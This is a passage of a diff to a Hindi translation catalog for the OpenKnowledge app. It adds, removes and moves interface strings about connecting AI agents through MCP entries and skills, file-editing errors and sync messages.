है"],+ "4sE6E9": ["जाँच नहीं हो सकी कि कौन-से टूल जुड़े हैं।"],"4sKwf6": ["फ़ाइल पहले से मौजूद है"],"4sUdTJ": ["थीम वाला पूर्वावलोकन"],"4uNLmk": ["खींचा जा रहा है"],@@ -406,6 +422,7 @@"5Ajb15": ["सूत्र <0>c = √(a² + b²)</0> इनलाइन रेंडर होता है।"],"5AzM72": ["यह सेटिंग हर मशीन के लिए अलग है और सहयोगियों के साथ साझा नहीं होती।"],"5BlXTD": ["संस्करण पूर्वावलोकन लोड नहीं हो सका। आप फिर भी नीचे तय कर सकते हैं कि इसे कैसे सुलझाना है।"],+ "5CHuXn": [["0"], " को ", ["1"], " की ज़रूरत है। दोनों को बंद करें, या दोनों को चालू रखें।"],"5ClEAu": ["क्रॉस-दस्तावेज़ समूहन के लिए इनलाइन हैशटैग।"],"5D3Ior": ["फ़ोल्डर छिपाएँ"],"5F5HYj": [["ahead"], " आगे, ", ["behind"], " पीछे"],@@ -424,6 +441,9 @@"5OqaJi": ["एक प्रोजेक्ट नाम डालें"],"5PHgV2": ["आप इसे टर्मिनल से <0>ok bug-report</0> के ज़रिए भी बना सकते हैं।"],"5QGTaA": ["सापेक्ष पथ कॉपी नहीं किया जा सका"],+ "5RiC8D": [+ "डिस्कवरी स्किल सभी AI टूल के लिए एक साथ प्रबंधित किए जाते हैं। इसे सेटिंग → स्किल स्टूडियो से इंस्टॉल करें।"+ ],"5SwVv1": ["इंस्टॉल नहीं है"],"5Szq6N": ["इस एंडपॉइंट ने आपके कॉन्फ़िगर किए गए वेक्टर आकार को अनदेखा कर दिया। मॉडल का अपना आकार उपयोग करने के लिए <0>search.semantic.dimensions</0> हटा दें।"@@ -584,6 +604,12 @@"7IsvrP": ["अपडेट देखे जा रहे हैं"],"7JtSLi": ["पथ हटाने में विफल"],"7MSbAT": ["यहाँ उपलब्ध"],+ "7Ny8bV": [+ ["dependent"],+ " को ",+ ["prerequisite"],+ " की ज़रूरत है, और OpenKnowledge को इस मशीन पर यह एजेंट नहीं मिला।"+ ],"7O7REc": [["0"], " बहाल नहीं किया जा सका। फिर से कोशिश करें।"],"7OhaRy": ["स्रोत खोज"],"7Ongq0": ["मेरी AGENTS.md फ़ाइल को 40k अक्षरों से कम में समेटें"],@@ -699,6 +725,9 @@"8uGMP8": ["छिपी हुई सामग्री यहाँ आती है।"],"8vCZcs": ["फ़ाइल खोलने में विफल।"],"8vETh9": ["दिखाएँ"],+ "8wwkVu": [+ "OpenKnowledge द्वारा लिखे जाने के बाद यह प्रविष्टि बदल गई। इसे चालू करने पर यह बदल दी जाएगी।"+ ],"8x6zk9": [["0"], " संपादक छिपाएँ"],"9-lMCF": [["slot"], " रंग — ", ["0"]],"90-wKT": ["OpenKnowledge ने ", ["subject"], " का इतिहास पढ़ा"],@@ -824,7 +853,6 @@"AYoYhU": ["अपडेट विफल: ", ["0"]],"AaC-CE": ["खाली बोर्ड"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["कस्टम open-knowledge प्रविष्टि — OpenKnowledge द्वारा प्रबंधित नहीं"],"AdcGcG": ["आपका बदलाव लागू किया जा रहा है"],"AddR83": ["प्रोजेक्ट नहीं बनाया जा सका। फिर कोशिश करें या कोई दूसरा स्थान चुनें।"],"AeHuzT": ["# प्रति पंक्ति एक पैटर्न।\\n# उदाहरण:\\n# drafts/\\n# *.draft.md\\n# !keep.md"],@@ -849,6 +877,7 @@"AkA6DO": [["0"], " प्लगइन का हिस्सा — केवल पढ़ने के लिए; प्रति संपादित करने के लिए इसे खोलें"],"Al8HPP": ["कॉन्फ़्लिक्ट ", ["0"], " के लिए मौजूदा संस्करण स्वीकारें"],"Am78jY": ["क्रम बदलने के लिए ", ["keyName"], " खींचें"],+ "ApNWRQ": [["0"], " से OpenKnowledge हटाएँ?"],"ApeA0n": [["docName"], " पर ", ["dropCount"], " संपादन पूर्ववत किए गए"],"Aq-O0x": ["स्थिति"],"AqnqMJ": ["API कुंजी सेट है"],@@ -884,6 +913,9 @@"BGtzlf": [["uploadFolderName"], " — 1 फ़ाइल"],"BH56dn": ["कस्टम प्रदर्शित पाठ"],"BKI4hX": ["फ़ाइल में खोजें"],+ "BMoSQy": [+ "यह एजेंट OpenKnowledge को आपके लिए इसे सेट अप करने का कोई तरीका नहीं देता। इसकी सेटअप गाइड में मैन्युअल चरण दिए गए हैं।"+ ],"BOsvJ8": ["<0>ok</0> तब तक बाहरी टर्मिनल में नहीं चलेगा, जब तक आप इसे बाद में फ़ाइल मेनू से नहीं जोड़ते। आपके AI टूल काम करते रहेंगे।"],@@ -957,11 +989,7 @@"CU3AiE": ["ब्रांच बदली जा रही हैं"],"CUmCwI": ["नीचे पंक्ति जोड़ें"],"CWjM1r": ["सीधे ", ["0"], "/ में मौजूद दस्तावेज़"],- "CWzc2T": [- "<0>~/.ok/bin</0> और <1>~/.ok/env.sh</1> दोनों ही स्थिति में बने रहते हैं — ऐप हमेशा इनका रखरखाव करता है।"- ],"CXDYfm": ["यह नहीं पढ़ा जा सका कि इस प्रोजेक्ट की स्किल इंस्टॉल है या नहीं।"],- "CXTwen": ["इस प्रोजेक्ट कॉन्फ़िग को सुरक्षित रूप से संपादित नहीं किया जा सकता"],"CXcveY": ["Open Knowledge प्रत्येक फ़ोल्डर में index.md नामक एक नेविगेशन फ़ाइल रखता है जिसमें Markdown होता है, प्रत्येक उस फ़ोल्डर के दस्तावेज़ों को प्रकार के आधार पर सूचीबद्ध करता है और उसके सबफ़ोल्डर्स से लिंक करता है। जैसे ही आपके दस्तावेज़ बदलते हैं, यह इन फ़ाइलों को फिर से लिखता है, और आप उनमें जो कुछ भी संपादित करते हैं वह बदल दिया जाता है।"],@@ -993,14 +1021,17 @@"Git प्रोजेक्ट में, Open Knowledge रिपॉजिटरी के रूट की .gitattributes फ़ाइल में सीमित दायरे वाला नियम जोड़ता है, ताकि एक साथ किए गए इंडेक्स बदलाव जुड़ सकें।"],"CxVk-w": [["address"], " पर टिप्पणी"],+ "CxnZP4": ["चुनें कि OpenKnowledge क्या सेट अप करे।"],"Cz-K13": ["15 मिनट"],"D-NlUC": ["सिस्टम"],- "D-Oh1s": [["0"], " कैसे सेट अप करें (ब्राउज़र में खुलता है)"],"D-_B7l": ["जुड़ गया — यह एंडपॉइंट ", ["0"], "-आयाम वाले वेक्टर लौटाता है।"],"D0CegO": ["इस नाम की एक दूसरी स्किल मौजूद है — पूर्ण प्रबंधन के लिए उसका नाम बदलें (या एक को हटाएँ)。"],"D12vtS": ["(अलग किया हुआ)"],"D2emTw": ["आपकी प्रतिक्रिया भेजते समय कुछ ग़लत हो गया। कृपया फिर कोशिश करें।"],"D4H2N6": [["tag"], " हटाएँ"],+ "D4I0F9": [+ "चुनें कि ऐप के एजेंट मेनू में कौन से एजेंट दिखें, और उन्हें इस तरह सेट अप करें कि वे आपके दस्तावेज़ पढ़ और अपडेट कर सकें।"+ ],"D7gKrd": ["OpenKnowledge .ok/local/terminal में लॉन्च सेटिंग्स नहीं लिख सका, क्योंकि फ़ोल्डर इस प्रोजेक्ट के अंदर सुरक्षित रूप से मौजूद नहीं है। जाँचें कि यह प्रोजेक्ट के अंदर एक वास्तविक फ़ोल्डर है, लिंक नहीं। Claude आपसे OpenKnowledge को मंज़ूरी देने के लिए कहेगा।"],@@ -1084,6 +1115,7 @@"E1_c72": ["कार्य सूची"],"E1tG2u": ["Claude Code लें"],"E2Mv-X": ["स्रोत कॉपी करें"],+ "E35Meh": [["rowLabel"], " हटाएँ"],"E4XYYH": ["इस प्रोजेक्ट के लिए टर्मिनल सक्षम करें"],"E5WeIy": ["सबसे हाल में बंद किया गया संपादक टैब फिर से खोलें।"],"E6lrpp": [@@ -1093,7 +1125,9 @@"E91VZY": ["नई विंडो में खोलें"],"E9bKSA": ["बनाया जा रहा है"],"E9gh86": ["आप ", ["MAX_ATTACHMENTS"], " तक छवियाँ संलग्न कर सकते हैं।"],+ "EBP_hA": ["इस परियोजना के एजेंट कॉन्फ़िगरेशन में OpenKnowledge MCP प्रविष्टि जोड़ता है।"],"EBVbtP": ["आइटम की नकल नहीं बनाई जा सकी"],+ "EDD3UL": ["इस मशीन पर नहीं मिला"],"EDl9kS": ["सदस्यता लें"],"EDm3wJ": ["अंतर रेंडरर लोड हो रहा है"],"EEYbdt": ["प्रकाशित करें"],@@ -1181,6 +1215,7 @@"EvPX7f": ["रिपॉज़िटरी कहाँ क्लोन करनी है यह चुनने के लिए फ़ोल्डर चयनकर्ता खोलता है।"],"EvXKHE": ["OpenKnowledge ने ज्ञान आधार में खोजा"],"Evq3lu": ["अनाथ मोड"],+ "Evsh6U": ["आपके दस्तावेज़ों में कोई बदलाव नहीं होगा।"],"ExPiRQ": ["अगले CodeMirror lint निदान पर जाएँ।"],"ExUzM4": ["स्किल \"", ["0"], "\""],"F-1xhe": ["इस प्रोजेक्ट का सर्वर इस विंडो से अलग ब्रांच पर है — सामग्री लोड नहीं हो सकती।"],@@ -1210,7 +1245,6 @@"FEqWFL": ["आपके AI एजेंट को यहाँ काम करने का तरीका बताता है।"],"FEr96N": ["थीम"],"FF7V5K": ["वास्तविक आकार"],- "FK57sK": [["names"], " का MCP इंटीग्रेशन ठीक किया गया"],"FKVmcC": ["इस प्रोजेक्ट की सेटिंग्स। कुछ git के ज़रिए हर सहयोगी के साथ साझा होती हैं; बाक़ी केवल इस कंप्यूटर पर लागू होती हैं।"],@@ -1294,6 +1328,12 @@"कोई भी .mdx फ़ाइल। प्रारूप केवल .md है, इसलिए .md को स्कैन करने वाला पाठक इसे कभी नहीं खोलता है - और यदि समान नाम का .md मौजूद है, तो इसके बजाय उसे पढ़ता है।"],"GSYWCm": ["दस्तावेज़ पैनल छिपाएँ"],+ "GTvYzA": [+ ["dependent"],+ " को ",+ ["prerequisite"],+ " की ज़रूरत है, जिसे OpenKnowledge आपके लिए सेट अप नहीं कर सकता। इसकी सेटअप गाइड में मैन्युअल चरण दिए गए हैं।"+ ],"GU1Y4A": ["केवल-स्थानीय का अनुरोध किया गया था, लेकिन कोई git रिपॉजिटरी नहीं बनाई गई। प्रोजेक्ट के git रिपॉजिटरी में आ जाने पर आप सेटिंग्स → सिंक और साझाकरण से बाद में बदल सकते हैं।"],@@ -1357,6 +1397,11 @@"H4doZt": ["सिंक रुका हुआ है। जारी रखने के लिए इन स्थानीय संपादनों को कमिट करें, या टर्मिनल में इन्हें निपटाएँ।"],"H86f9p": ["समेटें"],"H8DVOJ": ["दोनों में एक जैसी हैं — ", ["pick"], " इन्हें फिर भी पढ़ता रहेगा।"],+ "H8tj8y": [+ "यह सेटअप ",+ ["peers"],+ " के साथ साझा है, और OpenKnowledge इसे यहाँ से बदल नहीं सकता। पहले Skills Studio में फ़ोल्डर को अनलिंक करें।"+ ],"HAkEqR": ["हाल की फ़ाइलें"],"HAvHev": ["\"", ["name"], "\" के लिए स्वत: अपडेट बंद"],"HAvRAI": [["skillCount", "plural", { "one": ["स्किल"], "other": ["स्किल"] }]],@@ -1371,7 +1416,6 @@"Slidev इंस्टॉल नहीं है, इसलिए Slidev क्रिया छिपी रहती है। इसे इंस्टॉल करें, फिर इस विंडो पर लौटें।"],"HSI88F": ["तालिका हटाएँ"],- "HTW0Zw": ["एक और क़दम: इस प्रोजेक्ट में <0>claude</0> चलाएँ और OpenKnowledge को एक बार स्वीकृत करें।"],"HZ7fEu": ["थीम का नाम"],"HbcQYf": [["display"], " पर मौजूद सिमलिंक को स्किल की एक स्वतंत्र प्रति से बदलें? और कुछ नहीं हिलता।"],"HdS4Ft": ["आपका पिछला खुला दस्तावेज़ पुनर्स्थापित नहीं किया जा सका।"],@@ -1556,6 +1600,7 @@"KPW5WC": ["टेम्पलेट हिलाया गया"],"KQGZuq": ["यदि पहले से मौजूद है तो पुन: उपयोग किया जाता है, वरना बना दिया जाता है।"],"KRJ6xh": ["अभी कोई टैग नहीं। एक बनाने के लिए लिखते रहें।"],+ "KTxoDA": ["OpenKnowledge इस प्रविष्टि को नहीं पहचानता। इसे चालू करने पर यह बदल दी जाएगी।"],"KUjOb9": ["चल रहा है"],"KWL_Ih": ["ब्लॉग पोस्ट"],"KX1MZR": ["आपकी रिपॉज़िटरी"],@@ -1589,6 +1634,7 @@"KsAPaB": ["यह ब्रांच यहाँ चेक आउट है:"],"KtACeE": ["डिफ़ॉल्ट: <0>", ["0"], "</0>"],"KujtjC": ["खोजें"],+ "Kuw5NN": [["rowLabel"], " सेट अप कैसे करें"],"KvwJv8": ["कुछ फ़ाइलें सूचीबद्ध नहीं हैं: वर्किंग ट्री में बहुत अधिक बदलाव हैं।"],"Kx881F": [["0"], " बहाल कर दिया गया।"],"L-rMC9": ["डिफ़ॉल्ट पर रीसेट करें"],@@ -1646,7 +1692,6 @@"L_mqhg": ["(", ["0", "plural", { "one": ["#", " प्रयास"], "other": ["#", " प्रयास"] }], ")"],"LaskKp": ["चैट में भेजें (", ["0"], ")"],"Lbl6KA": [["0"], " से इंस्टॉल नहीं किया जा सका: ", ["1"]],- "LbmLyU": ["इस टूल के कॉन्फ़िग को सुरक्षित रूप से संपादित नहीं किया जा सकता"],"LdABLa": [["target"], " नहीं खोला जा सका। इसे हाथ से खोलने की कोशिश करें।"],"LdKIHS": ["एक स्पेक का मसौदा बनाएँ"],"LeGeTf": ["GitHub पर OpenKnowledge"],@@ -1673,6 +1718,7 @@"Lrsl_h": ["गुम फ़ाइल ", ["identity"], "। संदर्भ पर जाएँ।"],"LtI9AS": ["स्वामी"],"LtSYdi": ["Finder में दिखाएँ"],+ "LtiJ5c": ["परियोजना स्किल"],"LuoJWu": [["truncatedShownCount",@@ -1786,9 +1832,6 @@"NIWAux": ["#", ["tagDocsName"], " के अंतर्गत कोई दस्तावेज़ पंजीकृत नहीं।"],"NJyQi_": ["ब्रांच ", ["shareBranch"], " अब रिमोट पर मौजूद नहीं है।"],"NKkZXl": ["आरंभ करें और खोलें"],- "NNJsn7": [- "एक और क़दम: इसे Cursor → Settings → Tools & MCP में सक्षम करें (Cursor प्रोजेक्ट सर्वर तब तक बंद रखता है जब तक आप उन्हें चालू न करें)।"- ],"NOHyEE": ["भेजना फिर आज़माएँ"],"NORKZU": ["पैटर्न चेतावनियाँ: ", ["summary"]],"NQ8llq": ["आइटम जोड़ें"],@@ -1848,7 +1891,6 @@"O0Z2Xr": ["बाहर जाने वाले"],"O2UpM1": ["ब्राउज़ करें"],"O3oNi5": ["ईमेल"],- "O4PnDd": ["AI टूल प्रबंधन केवल OpenKnowledge डेस्कटॉप ऐप में उपलब्ध है।"],"O6H89R": ["सुलझ गया"],"O6yEPk": ["अपनी पसंद के फ़ोल्डर में एक नया OpenKnowledge प्रोजेक्ट बनाएँ।"],"O7_W_a": ["AI से खोलें"],@@ -1909,7 +1951,6 @@"OlFVNr": ["चयन के बारे में AI से पूछें"],"Oo_WWc": ["कोई पेज नहीं मिला"],"Oos8fo": ["कमांड कॉपी करें"],- "OplnBG": ["इस बिल्ड में AI टूल सँभालना उपलब्ध नहीं है।"],"OqqecQ": ["30 सेकंड"],"OsSaYm": ["क्लोन विफल: ", ["title"]],"OuQezS": ["जब आप यह बातचीत फिर से शुरू करेंगे तब लागू होगा"],@@ -1937,6 +1978,10 @@"P6gXB-": [["keyName"], " बदलें"],"P6lAT3": ["फ़ोल्डर लक्ष्य: ", ["linkTitle"], ". सिंहावलोकन खोलने के लिए क्लिक करें।"],"P8AnMN": ["Slidev खोजा जा रहा है"],+ "P9rQN2": [+ ["label"],+ " की टर्मिनल और डेस्कटॉप पंक्तियाँ एक ही सेटअप साझा करती हैं, इसलिए किसी एक को जोड़ने पर दोनों जुड़ जाती हैं।"+ ],"PB4upl": ["पिछला मेल खोजें"],"PBQwGb": ["फ़ाइलें, कमांड, प्रोजेक्ट और AI हैंडऑफ़ क्रियाएँ खोजें। दृश्य संपादक में पाठ चयनित होने पर K संयोजन इसके बजाय एक लिंक जोड़ता है; P संयोजन हमेशा कमांड पैलेट खोलता है।"@@ -2029,6 +2074,7 @@"QDZbvN": [["diffDays"], " दिन पहले"],"QGWzup": ["OpenKnowledge स्किल लोड हो रही हैं"],"QHCx0c": ["बग रिपोर्ट इतिहास"],+ "QHcLEN": ["जुड़ा हुआ"],"QIrBIx": ["सभी फ़ाइलें फैलाएँ"],"QIzioS": [["agentName"], " छवि अनुलग्नक स्वीकार नहीं करता।"],"QKgePK": [["editor"], " को स्रोत के अनुरूप किया गया (इसके बाइट का बैकअप ले लिया गया है)"],@@ -2098,6 +2144,7 @@"RD6H9q": ["दस्तावेज़ बदलने पर Open Knowledge इन index.md फ़ाइलों को फिर से लिखता है, इसलिए उनमें मैन्युअल संपादन बदल दिए जाते हैं।"],+ "RD8cCw": ["इस बिल्ड में एजेंट कनेक्शन प्रबंधित करना उपलब्ध नहीं है।"],"RDjuBN": ["सेटअप"],"RDrXh4": ["उपयोगकर्ता, प्रोजेक्ट और एकीकरण सेटिंग कॉन्फ़िगर करें।"],"REkvLz": [@@ -2127,6 +2174,7 @@"RSqaSd": ["प्रोजेक्ट रूट"],"RVZJWQ": ["प्रोजेक्ट खोजें…"],"RXEbZy": ["ऐप में"],+ "RXYvxn": ["इस विकल्प को अपने-आप नहीं बदला जा सकता।"],"RY6Bq1": ["साझा ", ["targetNoun"], " खोलें"],"RZXTlY": ["स्वत: सुधार (", ["count"], ")"],"R_U_A4": ["फ़ाइल या फ़ोल्डर पैटर्न जोड़ें, जैसे guides/**/*"],@@ -2171,6 +2219,9 @@"S33tz3": ["जुड़ा नहीं"],"S3qu11": ["यह एक परीक्षण या एक-बार का प्रोजेक्ट था"],"S48xcO": ["लंबित"],+ "S6SbxA": [+ "इस फ़ाइल की मौजूदा \"open-knowledge\" प्रविष्टि को बदल देता है। फ़ाइल के अन्य सर्वर अपरिवर्तित रहते हैं।"+ ],"S6eHlw": ["पहले कोई प्रोजेक्ट खोलें।"],"S6l5dv": ["नया आइटम बनाना शुरू नहीं किया जा सका"],"S9Vnum": [["patternText"], " हटाएँ"],@@ -2394,7 +2445,6 @@"VFQXPl": ["जब आप किसी लिंक पर माउस ले जाते हैं तो बाहरी लिंक पूर्वावलोकन साइट का नाम, पेज शीर्षक और विवरण वाला एक कार्ड दिखाता है।"],- "VIwCaD": ["प्रविष्टि"],"VJaBca": ["कोई स्किल फ़ोल्डर चुनें"],"VL6VsE": ["वर्तमान स्वीकारें"],"VM7H66": ["यह फ़ाइल बाइनरी है और इसे पाठ के रूप में नहीं दिखाया जा सकता।"],@@ -2455,6 +2505,7 @@"W9NSe0": ["लिंक की जाँच की जा रही है"],"W9_Bub": ["स्थानीय बदलाव आने वाले सिंक से टकराते हैं"],"WBNpt9": ["यह थीम पढ़ी नहीं जा सकी (", ["0"], ")"],+ "WEYdDv": ["अनुशंसित"],"WFEbV1": ["संपादक में सामान्य markdown समस्याएँ चिह्नित करें। <0>markdownlint<1/></0> द्वारा संचालित।"],"WG3MZ4": [["0"], " स्किलें चुनी गईं"],"WGMoTY": ["बग, क्रैश, या यह भरोसेमंद नहीं लगा"],@@ -2526,19 +2577,19 @@"XBBZnv": ["लिंक लक्ष्य \"", ["shown"], "\" किसी मौजूदा दस्तावेज़ पर हल नहीं होता।"],"XBgr2S": ["यहाँ कॉपी करें"],"XDzAnp": ["नए टैब में खुलता है"],- "XEfNPL": [- "इंस्टॉल है — ok बाहरी टर्मिनल में उपलब्ध है। इसे अनचेक करने पर हटा दिया जाएगा; आपके AI टूल काम करते रहेंगे।"- ],"XF1kgP": [["source"], " से सब कुछ पहले से ही अपडेट है"],- "XFpEgc": [- "चुनें कि ऐप के एजेंट मेनू में कौन से एजेंट दिखें, जैसे Ask AI, Open with AI और + नई चैट बटन। किसी एजेंट को बंद करने पर वह इन सभी से छिप जाएगा।"- ],"XGKy1z": ["छवि दिखाई नहीं जा सकी"],"XH30C4": ["दस्तावेज़"],"XIltnd": ["\"", ["trimmed"], "\" नाम की एक स्किल यहाँ पहले से मौजूद है"],"XJOV1Y": ["गतिविधि"],"XK5cbh": ["OpenKnowledge के नेविगेशन इतिहास में आगे जाएँ।"],"XNBGZw": ["संदेश नहीं भेजा गया: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " को ",+ ["prerequisite"],+ " की ज़रूरत है, और इस मशीन पर इस एजेंट की उस प्रकार की कोई फ़ाइल अभी नहीं है। एजेंट को एक बार खोलें, फिर दोबारा कोशिश करें।"+ ],"XPJ0sN": [["settingsDescriptorLabel"], " प्रॉपर्टी"],"XPqe3B": ["नया टैग #", ["tagValue"], " बनाएँ"],"XRuL0i": ["पेज बनाएँ"],@@ -2592,6 +2643,12 @@"Xp7Kq4": ["एक और सिंक कार्रवाई चल रही है। कुछ देर बाद फिर कोशिश करें।"],"Xp94R1": ["एक बार और कोशिश करें"],"XpIZmv": ["मोनोस्पेस पाठ वाला बाड़बंद कोड ब्लॉक।"],+ "XrPvMT": [+ ["dependent"],+ " को ",+ ["prerequisite"],+ " की ज़रूरत है, और OpenKnowledge इस फ़ाइल के फ़ॉर्मैट में उस एंट्री को सुरक्षित रूप से बदल नहीं सकता।"+ ],"Xs1kjx": ["अपडेट जाँचने की आवृत्ति"],"Xs7IcT": [["displayName"], " तक नहीं पहुँचा जा सका। फिर कोशिश करें?"],"XszXjc": ["नाम बदलकर ", ["0"], " किया गया"],@@ -2611,6 +2668,7 @@["pickedRelative"],"</1> का मूल है क्योंकि उसमें एक <2>.git</2> फ़ोल्डर है (हर git रिपॉज़िटरी के लिए एक .ok/)। <3>सामग्री निर्देशिका</3> डिफ़ॉल्ट रूप से <4>.</4> होती है (पूरी रिपॉज़िटरी); इसे सीमित करने के लिए कोई उप-फ़ोल्डर लिखें।"],+ "Y1wa2r": ["OpenKnowledge हटाएँ?"],"Y2tU6I": [["0"], " हटाएँ"],"Y5la_5": ["यहाँ इंस्टॉल करें"],"Y6PKd1": [["name"], " को हाल के प्रोजेक्ट से हटाएँ"],@@ -2731,9 +2789,6 @@"ZWwYwM": ["आधार ब्रांच"],"ZWxfrc": ["फ़ोल्डर प्रॉपर्टी साफ़ की गईं"],"ZWyHmq": ["यह प्रोजेक्ट"],- "ZYtq3m": [- "आप जिन AI टूल का उपयोग करते हैं उन्हें इस विशेष प्रोजेक्ट से जोड़ें। ये फ़ाइलें प्रोजेक्ट फ़ोल्डर में रहती हैं, इसलिए जो भी इसे खोलता है उसे वही सेटअप मिलता है।"- ],"Z_nNa2": ["अपनी थीम को नाम दें"],"ZatAO_": ["लिंक पूर्वावलोकन सक्षम करने में विफल — ", ["detail"]],"Zf0w-R": [@@ -2779,7 +2834,6 @@["label"]," प्लगइन की जगह इस्तेमाल करता है — यह प्लगइन के अपडेट लेना बंद कर देती है।"],- "_5qBNl": ["AI टूल और CLI"],"_6FVBz": ["टैब 1-8 पर जाएँ"],"_7UQ7y": ["पूरा शब्द"],"_8quCH": ["टेम्पलेट से"],@@ -2792,6 +2846,7 @@["currentLabel"],"</1> पर हैं।"],+ "_9rYSZ": [["names"], " का MCP इंटीग्रेशन ठीक किया गया"],"_Bix3-": [["localizedFirstMessage"], " की घटनाएँ"],"_DwR-n": ["बनाया जा रहा है…"],"_G7A92": ["index.md बनाए रखें"],@@ -2803,7 +2858,6 @@"_JOGC0": ["प्रतिक्रिया भेजें…"],"_LczaQ": ["अस्वीकृत — ", ["optionName"]],"_NWEid": ["स्कीमा फ़ाइलें पथ से खोजें"],- "_NX6gG": ["इस बिल्ड में प्रोजेक्ट के AI टूल सँभालना उपलब्ध नहीं है।"],"_O7dJS": ["यहाँ अलग संस्करण — तुलना करने और सुलझाने के लिए क्लिक करें"],"_PACVa": ["रिलीज़ नोट"],"_PBJRl": ["कम से कम एक अक्षर या अंक जोड़ें।"],@@ -2831,6 +2885,9 @@"_ci9Bj": ["सर्वर ने अधूरी फ़ोल्डर प्रतिक्रिया लौटाई।"],"_eguJc": ["अपलोड किया जा रहा है"],"_fQGOp": ["पथ में रिक्त स्थान की अनुमति नहीं है"],+ "_fZSIY": [+ "OpenKnowledge ने इस फ़ाइल को नहीं बदला क्योंकि वह इसे सुरक्षित रूप से पार्स नहीं कर सका। फ़ाइल को हाथ से ठीक करें, फिर दोबारा कोशिश करें।"+ ],"_gO_m8": ["आपकी स्वीकृति की प्रतीक्षा"],"_gkGSK": ["टेम्पलेट हटाया गया"],"_pY_Vq": ["रिपॉज़िटरी हिलाई गई, उसका नाम बदला गया, या उसे हटा दिया गया।"],@@ -2838,6 +2895,7 @@"_rP3HI": [["minutes"], " मिनट पहले"],"_tekeB": ["फ़ोल्डर प्रॉपर्टी अपडेट की गईं"],"_tjopj": ["नकल चिपकाएँ"],+ "_uxBz5": [["rowLabel"], " के लिए MCP और स्किल जोड़ें"],"_yB-24": ["किसी भी ", ["0"], "/ फ़ोल्डर के अंतर्गत सब कुछ"],"a-cKXz": ["पूरा स्रोत चुनें"],"a3LDKx": ["सुरक्षा"],@@ -2952,6 +3010,7 @@"blFttG": ["प्रोजेक्ट खोजें"],"bmC18N": ["फिर से जुड़ने से पहले \"", ["docName"], "\" का स्थानीय सहयोग डेटा साफ़ किया जा रहा है।"],"bnOTEz": ["लाया जा रहा है…"],+ "bn_MDX": ["इस पर ध्यान क्यों देना है"],"bpMVIA": ["लिंक लक्ष्य \"", ["shown"], "\" को प्रोजेक्ट के स्थानीय लक्ष्य के रूप में हल नहीं किया जा सका।"],"bpytj4": [["0"], " में ले जाएँ"],"brCtGB": ["इतिहास अनुपलब्ध"],@@ -3066,6 +3125,7 @@"d3dX3w": ["\"", ["word"], "\" देखें"],"d5rK4X": [["chars", "plural", { "one": ["अक्षर"], "other": ["अक्षर"] }]],"d6qW27": [["agentName"], " ने बताया: ", ["headline"]],+ "dCforW": ["यह फ़ाइल लिखने में विफल रहा। कारण जानने के लिए OpenKnowledge लॉग देखें।"],"dD7NPy": ["रूपरेखा"],"dDpCOp": ["नाम बदल गया पर साइडबार पुराना हो सकता है — फिर से सिंक करने के लिए ताज़ा करें"],"dEgA5A": ["रद्द करें"],@@ -3077,6 +3137,7 @@["currentBaseLabel"],"</1> से बनाई जाएगी, <2>.ok/worktrees/</2> के अंतर्गत उसके अपने वर्कट्री में।"],+ "dGcsnU": ["दोनों के लिए हटाएँ"],"dIYSqk": ["रिमोट"],"dJw2_7": ["आपकी टीम के लिए प्रोजेक्ट के साथ सहेजा गया।"],"dMsx3p": ["मुख्य पेज और नेविगेशन केंद्र।"],@@ -3091,6 +3152,9 @@"dVaXnv": ["सामग्री नियम अभी लोड नहीं हुए — कुछ देर बाद फिर कोशिश करें"],"dXCi3J": ["कुछ टूट गया"],"dXOolp": ["आपके बदलाव सिंक हो रहे हैं"],+ "da7Yfw": [+ "यह नीचे दी गई MCP सर्वर प्रविष्टियाँ और स्किल फ़ाइलें मिटा देता है। दोबारा जोड़ने तक एजेंट आपके दस्तावेज़ों तक पहुँच खो देगा।"+ ],"darW93": [["pageCount",@@ -3170,6 +3234,7 @@],"eh3QBq": ["Excalidraw बोर्ड लोड नहीं हो सका।"],"eiUA4k": [["count", "plural", { "one": ["#", " टिप्पणी"], "other": ["#", " टिप्पणियाँ"] }]],+ "ejiJeW": ["OpenKnowledge खोज स्किल"],"ekSPiP": [["0"], " पहले ही हटा दिया गया था।"],"el2KyL": ["इस प्रोजेक्ट में Slidev मिला। डेक प्रोजेक्ट के संस्करण का उपयोग करेंगे।"],"emMrXQ": ["सर्वर ने गलत प्रारूप वाली डुप्लिकेट प्रतिक्रिया लौटाई।"],@@ -3185,6 +3250,7 @@"euc6Ns": ["नकल बनाएँ"],"evs0iw": ["\"", ["tagListQuery"], "\" से मेल खाते टैग"],"ewSbS_": ["Shell सत्र"],+ "ewlFNL": [["failures"], " के लिए MCP स्वतः-मरम्मत विफल रही"],"ezUmoU": ["अनुमत तत्व मान (खाली = कोई भी)"],"f-k37b": ["यह स्किल इंस्टॉल करें"],"f1-q9m": ["स्किल अपने पास रखता है"],@@ -3237,6 +3303,23 @@"fj5YiP": ["GitHub से एक नई प्रति डाउनलोड करता है।"],"fnlBN4": ["स्वत: स्वीकृति सेटिंग अभी लोड नहीं हुई — कुछ देर बाद फिर कोशिश करें"],"fo6CCk": ["फलक ", ["0"]],+ "followup.approve-once": [+ "एक और क़दम: इस प्रोजेक्ट में ",+ ["agent"],+ " चलाएँ और OpenKnowledge को एक बार स्वीकृत करें।"+ ],+ "followup.enable-manually": [+ "एक और क़दम: इसे ",+ ["agent"],+ " → Settings → Tools & MCP में सक्षम करें (",+ ["agent"],+ " प्रोजेक्ट सर्वर तब तक बंद रखता है जब तक आप उन्हें चालू न करें)।"+ ],+ "followup.trust-gated": [+ "अगली बार जब आप इस प्रोजेक्ट को किसी विश्वसनीय ",+ ["agent"],+ " सत्र में खोलेंगे तो यह अपने आप जुड़ जाएगा।"+ ],"fqSfXY": ["बदलें"],"ft-BOm": ["बग की रिपोर्ट करें…"],"fuJZKk": ["ब्रांच खोजें"],@@ -3244,6 +3327,15 @@"fwhX-N": ["स्रोत को अंदर या बाहर करें"],"fwrPh4": ["कृपया एक मान्य ईमेल डालें।"],"fxbCNQ": ["सिंक हो गया। लिंक अद्यतित है।"],+ "fybwfg": [+ "यह सेटअप <0>",+ ["path"],+ "</0> के माध्यम से ",+ ["peers"],+ " के साथ साझा किया गया है। इसे यहाँ हटाने पर यह ",+ ["peers"],+ " के लिए भी हट जाता है।"+ ],"g-dkjJ": ["स्थानीय फ़ाइल विवरण अभी उपलब्ध नहीं हैं।"],"g12y1g": ["अमान्य YAML"],"g1ZTh_": [@@ -3256,7 +3348,6 @@}]],- "g4WlQK": ["प्रोजेक्ट के AI टूल सँभालना केवल OpenKnowledge डेस्कटॉप ऐप में 